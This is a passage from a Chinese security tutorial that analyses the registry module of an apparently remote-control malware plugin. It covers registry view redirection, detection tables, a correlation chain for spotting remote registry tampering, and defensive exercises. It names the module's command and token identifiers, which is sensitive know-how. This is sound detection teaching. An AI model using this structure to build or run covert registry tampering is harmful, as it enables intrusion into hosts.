注册表也有 32 位和 64 位视图差异,尤其是 HKLM\Software 下的重定向。这个源码里没有显式使用 KEY_WOW64_64KEY 或 KEY_WOW64_32KEY,所以从防御角度要注意:
| 场景 | 风险点 | 防御建议 |
|---|---|---|
| 32 位进程运行在 64 位系统 | 访问 HKLM\Software 可能看到 32 位视图 | 记录进程位数和注册表真实视图 |
| 64 位安全工具核查 32 位插件行为 | 看到的路径可能不完全一致 | 同时采集 32 位和 64 位视图 |
| 值数据包含环境变量 | 真实路径需要展开后判断 | 展开 %SystemRoot%、%APPDATA% 等变量 |
| 只按字符串匹配 | 容易漏掉大小写、变量和视图差异 | 做路径归一化和视图归一化 |
新手常犯的错误是:看到日志里写的是 HKLM\Software\...,就以为所有工具看到的是同一份数据。实际上进程位数、访问权限和注册表视图都会影响结果。
# 16. 企业检测点

注册表模块的检测同样要做关联。单独一次 RegOpenKeyEx 可能正常,但如果它来自异常插件进程、目标是敏感路径、随后出现写入或删除,并且同一进程还有外联会话,就需要提升优先级。
| 检测面 | 关注点 | 示例规则思路 |
|---|---|---|
| 进程与 API | RegOpenKeyEx、RegEnumValue、RegSetValueEx、RegDeleteValue | 非授权进程访问敏感注册表路径 |
| 根键与路径 | HKCU、HKLM、Services、Policies、Winlogon、Classes | 敏感路径被写入、删除或重命名 |
| 值类型 | REG_SZ、REG_DWORD、REG_EXPAND_SZ | 路径类值、命令类值、策略开关类值变化 |
| 网络会话 | 命令 token、回包 token、长连接上下文 | 注册表读取或写入与远程控制会话相邻 |
| 结果反馈 | TOKEN_REG_SUCCEED、TOKEN_REG_ERROR | 连续成功写入或连续失败探测 |
建议的关联逻辑:
异常进程建立长连接
-> 发送注册表模块 token
-> 枚举 HKCU/HKLM 敏感路径
-> 读取大量值名和值数据
-> 写入 / 删除 / 重命名注册表对象
-> 回传成功 token
-> 触发主机侧告警和变更复核
2
3
4
5
6
7
# 17. 合法练习题
- 只阅读源码,整理
COMMAND_REG_*与函数名的对应关系。 - 画出
COMMAND_REG_ENUM -> EnumReg -> GetRegInfo/GetRegKey -> TOKEN_REG_*的数据流。 - 分析
REGMSG在枚举子键和值枚举中的字段含义差异。 - 从防御角度写一条检测规则:异常进程写入 HKLM 策略相关路径。
- 设计一个合法远程管理工具的注册表授权模型:哪些根键可读,哪些路径可写,哪些路径禁止变更。
- 对比
REG_SZ、REG_DWORD、REG_EXPAND_SZ的安全检测重点,并说明为什么值类型不能忽略。 - 说明 32 位进程和 64 位系统下注册表视图差异会如何影响排查结果。
# 18. 本课小结
查注册表模块的结构很清晰:入口创建 CRegeditManager,构造函数发送模块 token,OnReceive 分发命令,ParseKey 选择根键,GetRegInfo/GetRegKey 完成读取,创建、写入、删除和重命名函数完成修改。
从企业安全角度看,注册表检测要抓住“谁在什么会话里,对哪个根键和路径,做了什么类型的变更”。下一课继续沿着主插件往下看,重点会放在下一个具体功能模块的源码结构、交互流程和防御检测。
安全工程知识交流加wx:easy_coder,黑灰产勿扰,企业单位合作请出示有效证件。
本留言区仅对应当前文章,欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供,需要使用 GitHub 登录。
社区交流
讨论与留言